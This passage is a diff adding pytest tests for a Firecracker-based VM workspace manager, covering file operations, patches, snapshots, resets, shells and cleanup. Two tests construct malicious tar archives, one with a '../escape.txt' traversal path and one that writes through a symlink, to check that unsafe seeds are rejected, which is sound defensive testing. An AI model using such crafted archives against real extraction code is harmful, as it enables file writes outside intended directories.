"/workspace/src/app.py", + "artifact_type": "file", + "size_bytes": 13, + "link_target": None, + } + ] + + status_before_read = manager.status_workspace(workspace_id) + read_payload = manager.read_workspace_file(workspace_id, "src/app.py") + assert read_payload["content"] == 'print("bug")\n' + status_after_read = manager.status_workspace(workspace_id) + assert float(status_after_read["last_activity_at"]) == float( + status_before_read["last_activity_at"] + ) + + written = manager.write_workspace_file( + workspace_id, + "src/generated/out.txt", + text="generated\n", + ) + assert written["bytes_written"] == 10 + + patch_payload = manager.apply_workspace_patch( + workspace_id, + patch=( + "--- a/src/app.py\n" + "+++ b/src/app.py\n" + "@@ -1 +1 @@\n" + '-print("bug")\n' + '+print("fixed")\n' + "--- /dev/null\n" + "+++ b/src/new.py\n" + "@@ -0,0 +1 @@\n" + '+print("new")\n' + ), + ) + assert patch_payload["changed"] is True + assert patch_payload["summary"] == { + "total": 2, + "added": 1, + "modified": 1, + "deleted": 0, + } + + executed = manager.exec_workspace( + workspace_id, + command="python3 src/app.py && cat src/new.py && cat src/generated/out.txt", + timeout_seconds=30, + ) + assert executed["stdout"] == 'fixed\nprint("new")\ngenerated\n' + + diff_payload = manager.diff_workspace(workspace_id) + assert diff_payload["changed"] is True + assert diff_payload["summary"]["added"] == 2 + assert diff_payload["summary"]["modified"] == 1 + + output_path = tmp_path / "exported-app.py" + export_payload = manager.export_workspace( + workspace_id, + path="src/app.py", + output_path=output_path, + ) + assert export_payload["artifact_type"] == "file" + assert output_path.read_text(encoding="utf-8") == 'print("fixed")\n' + + +def test_workspace_export_directory_uses_exact_output_path(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + nested_dir = seed_dir / "src" + nested_dir.mkdir(parents=True) + (nested_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + output_dir = tmp_path / "exported-src" + payload = manager.export_workspace(workspace_id, path="src", output_path=output_dir) + assert payload["artifact_type"] == "directory" + assert (output_dir / "note.txt").read_text(encoding="utf-8") == "hello\n" + assert not (output_dir / "src").exists() + + +def test_workspace_diff_requires_create_time_baseline(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" + baseline_path.unlink() + + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.diff_workspace(workspace_id) + + +def test_workspace_snapshots_and_reset_round_trip(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + manager.exec_workspace( + workspace_id, + command="printf 'checkpoint\\n' > note.txt", + timeout_seconds=30, + ) + created_snapshot = manager.create_snapshot(workspace_id, "checkpoint") + assert created_snapshot["snapshot"]["snapshot_name"] == "checkpoint" + + listed = manager.list_snapshots(workspace_id) + assert listed["count"] == 2 + assert [snapshot["snapshot_name"] for snapshot in listed["snapshots"]] == [ + "baseline", + "checkpoint", + ] + + manager.exec_workspace( + workspace_id, + command="printf 'after\\n' > note.txt", + timeout_seconds=30, + ) + manager.start_service( + workspace_id, + "app", + command="sh -lc 'touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + + reset_to_snapshot = manager.reset_workspace(workspace_id, snapshot="checkpoint") + assert reset_to_snapshot["workspace_reset"]["snapshot_name"] == "checkpoint" + assert reset_to_snapshot["reset_count"] == 1 + assert reset_to_snapshot["last_command"] is None + assert reset_to_snapshot["command_count"] == 0 + assert reset_to_snapshot["service_count"] == 0 + assert reset_to_snapshot["running_service_count"] == 0 + + checkpoint_result = manager.exec_workspace( + workspace_id, + command="cat note.txt", + timeout_seconds=30, + ) + assert checkpoint_result["stdout"] == "checkpoint\n" + logs_after_snapshot_reset = manager.logs_workspace(workspace_id) + assert logs_after_snapshot_reset["count"] == 1 + + reset_to_baseline = manager.reset_workspace(workspace_id) + assert reset_to_baseline["workspace_reset"]["snapshot_name"] == "baseline" + assert reset_to_baseline["reset_count"] == 2 + assert reset_to_baseline["command_count"] == 0 + assert reset_to_baseline["service_count"] == 0 + assert manager.logs_workspace(workspace_id)["count"] == 0 + + baseline_result = manager.exec_workspace( + workspace_id, + command="cat note.txt", + timeout_seconds=30, + ) + assert baseline_result["stdout"] == "seed\n" + diff_payload = manager.diff_workspace(workspace_id) + assert diff_payload["changed"] is False + + deleted_snapshot = manager.delete_snapshot(workspace_id, "checkpoint") + assert deleted_snapshot["deleted"] is True + listed_after_delete = manager.list_snapshots(workspace_id) + assert [snapshot["snapshot_name"] for snapshot in listed_after_delete["snapshots"]] == [ + "baseline" + ] + + +def test_workspace_snapshot_and_reset_require_baseline(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" + baseline_path.unlink() + + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.list_snapshots(workspace_id) + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.create_snapshot(workspace_id, "checkpoint") + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.delete_snapshot(workspace_id, "checkpoint") + with pytest.raises(RuntimeError, match="require[s]? a baseline snapshot"): + manager.reset_workspace(workspace_id) + + +def test_workspace_delete_baseline_snapshot_is_rejected(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + with pytest.raises(ValueError, match="cannot delete the baseline snapshot"): + manager.delete_snapshot(workspace_id, "baseline") + + +def test_workspace_reset_recreates_stopped_workspace(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + with manager._lock: # noqa: SLF001 + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + workspace.state = "stopped" + workspace.firecracker_pid = None + manager._save_workspace_locked(workspace) # noqa: SLF001 + + reset_payload = manager.reset_workspace(workspace_id) + + assert reset_payload["state"] == "started" + assert reset_payload["workspace_reset"]["snapshot_name"] == "baseline" + result = manager.exec_workspace(workspace_id, command="cat note.txt", timeout_seconds=30) + assert result["stdout"] == "seed\n" + + +def test_workspace_reset_failure_leaves_workspace_stopped(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("seed\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + manager.create_snapshot(workspace_id, "checkpoint") + + def _failing_import_archive(*args: Any, **kwargs: Any) -> dict[str, Any]: + del args, kwargs + raise RuntimeError("boom") + + manager._backend.import_archive = _failing_import_archive # type: ignore[method-assign] # noqa: SLF001 + + with pytest.raises(RuntimeError, match="boom"): + manager.reset_workspace(workspace_id, snapshot="checkpoint") + + with manager._lock: # noqa: SLF001 + workspace = manager._load_workspace_locked(workspace_id) # noqa: SLF001 + assert workspace.state == "stopped" + assert workspace.firecracker_pid is None + assert workspace.reset_count == 0 + + listed = manager.list_snapshots(workspace_id) + assert [snapshot["snapshot_name"] for snapshot in listed["snapshots"]] == [ + "baseline", + "checkpoint", + ] + + +def test_workspace_export_helpers_preserve_directory_symlinks(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") + os.symlink("note.txt", workspace_dir / "note-link") + (workspace_dir / "empty-dir").mkdir() + + archive_path = tmp_path / "workspace-export.tar" + exported = vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 + workspace_dir=workspace_dir, + workspace_path=".", + archive_path=archive_path, + ) + + assert exported.artifact_type == "directory" + + output_dir = tmp_path / "output" + extracted = vm_manager_module._extract_workspace_export_archive( # noqa: SLF001 + archive_path, + output_path=output_dir, + artifact_type="directory", + ) + + assert extracted["artifact_type"] == "directory" + assert (output_dir / "note.txt").read_text(encoding="utf-8") == "hello\n" + assert (output_dir / "note-link").is_symlink() + assert os.readlink(output_dir / "note-link") == "note.txt" + assert (output_dir / "empty-dir").is_dir() + + +def test_workspace_export_helpers_validate_missing_path_and_existing_output(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + with pytest.raises(RuntimeError, match="workspace path does not exist"): + vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 + workspace_dir=workspace_dir, + workspace_path="missing.txt", + archive_path=tmp_path / "missing.tar", + ) + + archive_path = tmp_path / "note-export.tar" + exported = vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 + workspace_dir=workspace_dir, + workspace_path="note.txt", + archive_path=archive_path, + ) + output_path = tmp_path / "note.txt" + output_path.write_text("already here\n", encoding="utf-8") + with pytest.raises(RuntimeError, match="output_path already exists"): + vm_manager_module._extract_workspace_export_archive( # noqa: SLF001 + archive_path, + output_path=output_path, + artifact_type=exported.artifact_type, + ) + + +def test_diff_workspace_trees_reports_empty_binary_symlink_and_type_changes(tmp_path: Path) -> None: + baseline_dir = tmp_path / "baseline" + current_dir = tmp_path / "current" + baseline_dir.mkdir() + current_dir.mkdir() + + (baseline_dir / "modified.txt").write_text("before\n", encoding="utf-8") + (current_dir / "modified.txt").write_text("after\n", encoding="utf-8") + + (baseline_dir / "deleted.txt").write_text("gone\n", encoding="utf-8") + (current_dir / "added.txt").write_text("new\n", encoding="utf-8") + + (baseline_dir / "binary.bin").write_bytes(b"\x00before") + (current_dir / "binary.bin").write_bytes(b"\x00after") + + os.symlink("link-target-old.txt", baseline_dir / "link") + os.symlink("link-target-new.txt", current_dir / "link") + + (baseline_dir / "swap").mkdir() + (current_dir / "swap").write_text("type changed\n", encoding="utf-8") + + (baseline_dir / "removed-empty").mkdir() + (current_dir / "added-empty").mkdir() + + diff_payload = vm_manager_module._diff_workspace_trees( # noqa: SLF001 + baseline_dir, + current_dir, + ) + + assert diff_payload["changed"] is True + assert diff_payload["summary"] == { + "total": 8, + "added": 2, + "modified": 3, + "deleted": 2, + "type_changed": 1, + "text_patched": 3, + "non_text": 5, + } + assert "--- a/modified.txt" in diff_payload["patch"] + assert "+++ b/modified.txt" in diff_payload["patch"] + assert "--- /dev/null" in diff_payload["patch"] + assert "+++ b/added.txt" in diff_payload["patch"] + assert "--- a/deleted.txt" in diff_payload["patch"] + assert "+++ /dev/null" in diff_payload["patch"] + entries = {entry["path"]: entry for entry in diff_payload["entries"]} + assert entries["binary.bin"]["text_patch"] is None + assert entries["link"]["artifact_type"] == "symlink" + assert entries["swap"]["artifact_type"] == "file" + assert entries["removed-empty"]["artifact_type"] == "directory" + assert entries["added-empty"]["artifact_type"] == "directory" + + +def test_diff_workspace_trees_unchanged_returns_empty_summary(tmp_path: Path) -> None: + baseline_dir = tmp_path / "baseline" + current_dir = tmp_path / "current" + baseline_dir.mkdir() + current_dir.mkdir() + (baseline_dir / "note.txt").write_text("same\n", encoding="utf-8") + (current_dir / "note.txt").write_text("same\n", encoding="utf-8") + + diff_payload = vm_manager_module._diff_workspace_trees( # noqa: SLF001 + baseline_dir, + current_dir, + ) + + assert diff_payload == { + "changed": False, + "summary": { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + "type_changed": 0, + "text_patched": 0, + "non_text": 0, + }, + "entries": [], + "patch": "", + } + + +def test_workspace_shell_lifecycle_and_rehydration(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + assert opened["state"] == "running" + + manager.write_shell(workspace_id, shell_id, input_text="pwd") + + output = "" + deadline = time.time() + 5 + while time.time() < deadline: + read = manager.read_shell(workspace_id, shell_id, cursor=0, max_chars=65536) + output = str(read["output"]) + if "/workspace" in output: + break + time.sleep(0.05) + assert "/workspace" in output + + manager_rehydrated = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + second_opened = manager_rehydrated.open_shell(workspace_id) + second_shell_id = str(second_opened["shell_id"]) + assert second_shell_id != shell_id + + manager_rehydrated.write_shell(workspace_id, second_shell_id, input_text="printf 'ok\\n'") + second_output = "" + deadline = time.time() + 5 + while time.time() < deadline: + read = manager_rehydrated.read_shell( + workspace_id, + second_shell_id, + cursor=0, + max_chars=65536, + ) + second_output = str(read["output"]) + if "ok" in second_output: + break + time.sleep(0.05) + assert "ok" in second_output + + logs = manager.logs_workspace(workspace_id) + assert logs["count"] == 0 + + closed = manager.close_shell(workspace_id, shell_id) + assert closed["closed"] is True + with pytest.raises(ValueError, match="does not exist"): + manager.read_shell(workspace_id, shell_id) + + deleted = manager.delete_workspace(workspace_id) + assert deleted["deleted"] is True + with pytest.raises(ValueError, match="does not exist"): + manager_rehydrated.read_shell(workspace_id, second_shell_id) + + +def test_workspace_read_shell_plain_renders_control_sequences( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + + monkeypatch.setattr( + manager._backend, # noqa: SLF001 + "read_shell", + lambda *args, **kwargs: { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 0, + "next_cursor": 15, + "output": "hello\r\x1b[2Kbye\n", + "truncated": False, + }, + ) + + read = manager.read_shell( + workspace_id, + shell_id, + cursor=0, + max_chars=1024, + plain=True, + ) + + assert read["output"] == "bye\n" + assert read["plain"] is True + assert read["wait_for_idle_ms"] is None + + +def test_workspace_read_shell_wait_for_idle_batches_output( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + + payloads = [ + { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 0, + "next_cursor": 4, + "output": "one\n", + "truncated": False, + }, + { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 4, + "next_cursor": 8, + "output": "two\n", + "truncated": False, + }, + { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 8, + "next_cursor": 8, + "output": "", + "truncated": False, + }, + ] + + def fake_read_shell(*args: Any, **kwargs: Any) -> dict[str, Any]: + del args, kwargs + return payloads.pop(0) + + monotonic_values = iter([0.0, 0.05, 0.10, 0.41]) + monkeypatch.setattr(manager._backend, "read_shell", fake_read_shell) # noqa: SLF001 + monkeypatch.setattr(time, "monotonic", lambda: next(monotonic_values)) + monkeypatch.setattr(time, "sleep", lambda _: None) + + read = manager.read_shell( + workspace_id, + shell_id, + cursor=0, + max_chars=1024, + wait_for_idle_ms=300, + ) + + assert read["output"] == "one\ntwo\n" + assert read["next_cursor"] == 8 + assert read["wait_for_idle_ms"] == 300 + assert read["plain"] is False + + +def test_workspace_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: + archive_path = tmp_path / "bad.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + payload = b"bad\n" + info = tarfile.TarInfo(name="../escape.txt") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + with pytest.raises(RuntimeError, match="unsafe archive member path"): + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=archive_path, + ) + assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] + + +def test_workspace_create_rejects_archive_that_writes_through_symlink(tmp_path: Path) -> None: + archive_path = tmp_path / "bad-symlink.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + symlink_info = tarfile.TarInfo(name="linked") + symlink_info.type = tarfile.SYMTYPE + symlink_info.linkname = "outside" + archive.addfile(symlink_info) + + payload = b"bad\n" + file_info = tarfile.TarInfo(name="linked/note.txt") + file_info.size = len(payload) + archive.addfile(file_info, io.BytesIO(payload)) + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + with pytest.raises(RuntimeError, match="traverse through a symlinked path"): + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=archive_path, + ) + + +def test_workspace_create_cleans_up_on_seed_failure( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + def _boom(*args: Any, **kwargs: Any) -> dict[str, Any]: + del args, kwargs + raise RuntimeError("seed import failed") + + monkeypatch.setattr(manager._backend, "import_archive", _boom) # noqa: SLF001 + + with pytest.raises(RuntimeError, match="seed import failed"): + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=source_dir, + ) + + assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] + + +def test_workspace_rehydrates_across_manager_processes(tmp_path: Path) -> None: + base_dir = tmp_path / "vms" + manager = VmManager( + backend_name="mock", + base_dir=base_dir, + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + other = VmManager( + backend_name="mock", + base_dir=base_dir, + network_manager=TapNetworkManager(enabled=False), + ) + executed = other.exec_workspace(workspace_id, command="printf 'ok\\n'", timeout_seconds=30) + assert executed["exit_code"] == 0 + assert executed["stdout"] == "ok\n" + + logs = other.logs_workspace(workspace_id) + assert logs["count"] == 1 + + +def test_workspace_requires_started_state(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["state"] = "stopped" + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + with pytest.raises(RuntimeError, match="must be in 'started' state"): + manager.exec_workspace(workspace_id, command="true", timeout_seconds=30) + + def test_vm_manager_firecracker_backend_path( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: @@ -283,3 +1669,1842 @@ def test_vm_manager_firecracker_backend_path( network_manager=TapNetworkManager(enabled=False), ) assert manager._backend_name == "firecracker" # noqa: SLF001 + + +def test_firecracker_backend_start_removes_stale_socket_files( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + backend = cast(Any, object.__new__(vm_manager_module.FirecrackerBackend)) + backend._environment_store = object() # noqa: SLF001 + backend._firecracker_bin = tmp_path / "firecracker" # noqa: SLF001 + backend._jailer_bin = tmp_path / "jailer" # noqa: SLF001 + backend._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=False, + reason=None, + ) + backend._network_manager = TapNetworkManager(enabled=False) # noqa: SLF001 + backend._guest_exec_client = None # noqa: SLF001 + backend._processes = {} # noqa: SLF001 + + backend._firecracker_bin.write_text("fc", encoding="utf-8") # noqa: SLF001 + backend._jailer_bin.write_text("jailer", encoding="utf-8") # noqa: SLF001 + kernel_image = tmp_path / "vmlinux" + kernel_image.write_text("kernel", encoding="utf-8") + rootfs_image = tmp_path / "rootfs.ext4" + rootfs_image.write_bytes(b"rootfs") + + workdir = tmp_path / "runtime" + workdir.mkdir() + firecracker_socket = workdir / "firecracker.sock" + vsock_socket = workdir / "vsock.sock" + firecracker_socket.write_text("stale firecracker socket", encoding="utf-8") + vsock_socket.write_text("stale vsock socket", encoding="utf-8") + + class DummyPopen: + def __init__(self, *args: Any, **kwargs: Any) -> None: + del args, kwargs + self.pid = 4242 + + def poll(self) -> None: + return None + + monkeypatch.setattr( + cast(Any, vm_manager_module).subprocess, + "run", + lambda *args, **kwargs: subprocess.CompletedProcess( # noqa: ARG005 + args=args[0], + returncode=0, + stdout="Firecracker v1.0.0\n", + stderr="", + ), + ) + monkeypatch.setattr(cast(Any, vm_manager_module).subprocess, "Popen", DummyPopen) + + instance = vm_manager_module.VmInstance( + vm_id="abcd1234", + environment="debian:12", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + workdir=workdir, + metadata={ + "kernel_image": str(kernel_image), + "rootfs_image": str(rootfs_image), + }, + ) + + backend.start(instance) + + assert instance.firecracker_pid == 4242 + assert not firecracker_socket.exists() + assert not vsock_socket.exists() + + +def test_vm_manager_fails_closed_without_host_compat_opt_in(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + vm_id = str( + manager.create_vm( + environment="debian:12-base", + ttl_seconds=600, + )["vm_id"] + ) + + with pytest.raises(RuntimeError, match="guest boot is unavailable"): + manager.start_vm(vm_id) + + +def test_vm_manager_uses_canonical_default_cache_dir( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setenv("PYRO_ENVIRONMENT_CACHE_DIR", str(tmp_path / "cache")) + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + assert manager._environment_store.cache_dir == tmp_path / "cache" # noqa: SLF001 + + +def test_vm_manager_helper_round_trips() -> None: + network = NetworkConfig( + vm_id="abc123", + tap_name="tap0", + guest_ip="172.29.1.2", + gateway_ip="172.29.1.1", + subnet_cidr="172.29.1.0/24", + mac_address="06:00:aa:bb:cc:dd", + dns_servers=("1.1.1.1", "8.8.8.8"), + ) + + assert vm_manager_module._optional_int(None) is None # noqa: SLF001 + assert vm_manager_module._optional_int(True) == 1 # noqa: SLF001 + assert vm_manager_module._optional_int(7) == 7 # noqa: SLF001 + assert vm_manager_module._optional_int(7.2) == 7 # noqa: SLF001 + assert vm_manager_module._optional_int("9") == 9 # noqa: SLF001 + with pytest.raises(TypeError, match="integer-compatible"): + vm_manager_module._optional_int(object()) # noqa: SLF001 + + assert vm_manager_module._optional_str(None) is None # noqa: SLF001 + assert vm_manager_module._optional_str(1) == "1" # noqa: SLF001 + assert vm_manager_module._optional_dict(None) is None # noqa: SLF001 + assert vm_manager_module._optional_dict({"x": 1}) == {"x": 1} # noqa: SLF001 + with pytest.raises(TypeError, match="dictionary payload"): + vm_manager_module._optional_dict("bad") # noqa: SLF001 + assert vm_manager_module._string_dict({"x": 1}) == {"x": "1"} # noqa: SLF001 + assert vm_manager_module._string_dict("bad") == {} # noqa: SLF001 + + serialized = vm_manager_module._serialize_network(network) # noqa: SLF001 + assert serialized is not None + restored = vm_manager_module._deserialize_network(serialized) # noqa: SLF001 + assert restored == network + assert vm_manager_module._deserialize_network(None) is None # noqa: SLF001 + with pytest.raises(TypeError, match="dictionary payload"): + vm_manager_module._deserialize_network("bad") # noqa: SLF001 + + assert vm_manager_module._wrap_guest_command("echo hi") == "echo hi" # noqa: SLF001 + wrapped = vm_manager_module._wrap_guest_command("echo hi", cwd="/workspace") # noqa: SLF001 + assert "cd /workspace" in wrapped + assert vm_manager_module._pid_is_running(None) is False # noqa: SLF001 + + +def test_copy_rootfs_falls_back_to_copy2( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + source = tmp_path / "rootfs.ext4" + source.write_text("payload", encoding="utf-8") + dest = tmp_path / "dest" / "rootfs.ext4" + + def _raise_oserror(*args: Any, **kwargs: Any) -> Any: + del args, kwargs + raise OSError("no cp") + + monkeypatch.setattr(subprocess, "run", _raise_oserror) + + clone_mode = vm_manager_module._copy_rootfs(source, dest) # noqa: SLF001 + assert clone_mode == "copy2" + assert dest.read_text(encoding="utf-8") == "payload" + + +def test_workspace_create_cleans_up_on_start_failure( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + def _boom(instance: Any) -> None: + del instance + raise RuntimeError("boom") + + monkeypatch.setattr(manager._backend, "start", _boom) # noqa: SLF001 + + with pytest.raises(RuntimeError, match="boom"): + manager.create_workspace(environment="debian:12-base", allow_host_compat=True) + + assert list((tmp_path / "vms" / "workspaces").iterdir()) == [] + + +def test_exec_instance_wraps_guest_workspace_command(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=False, + reason=None, + ) + captured: dict[str, Any] = {} + + class StubBackend: + def exec( + self, + instance: Any, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + ) -> vm_manager_module.VmExecResult: + del instance, timeout_seconds + captured["command"] = command + captured["workdir"] = workdir + return vm_manager_module.VmExecResult( + stdout="", + stderr="", + exit_code=0, + duration_ms=1, + ) + + manager._backend = StubBackend() # type: ignore[assignment] # noqa: SLF001 + instance = vm_manager_module.VmInstance( # noqa: SLF001 + vm_id="vm-123", + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + workdir=tmp_path / "runtime", + state="started", + ) + result, execution_mode = manager._exec_instance( # noqa: SLF001 + instance, + command="echo hi", + timeout_seconds=30, + guest_cwd="/workspace", + ) + assert result.exit_code == 0 + assert execution_mode == "unknown" + assert "cd /workspace" in str(captured["command"]) + assert captured["workdir"] is None + + +def test_status_workspace_marks_dead_backing_process_stopped(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["metadata"]["execution_mode"] = "guest_vsock" + payload["firecracker_pid"] = 999999 + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + status = manager.status_workspace(workspace_id) + assert status["state"] == "stopped" + updated_payload = json.loads(workspace_path.read_text(encoding="utf-8")) + assert "backing guest process" in str(updated_payload.get("last_error", "")) + + +def test_reap_expired_workspaces_removes_invalid_and_expired_records(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + invalid_dir = tmp_path / "vms" / "workspaces" / "invalid" + invalid_dir.mkdir(parents=True) + (invalid_dir / "workspace.json").write_text("[]", encoding="utf-8") + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["expires_at"] = 0.0 + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + with manager._lock: # noqa: SLF001 + manager._reap_expired_workspaces_locked(time.time()) # noqa: SLF001 + + assert not invalid_dir.exists() + assert not 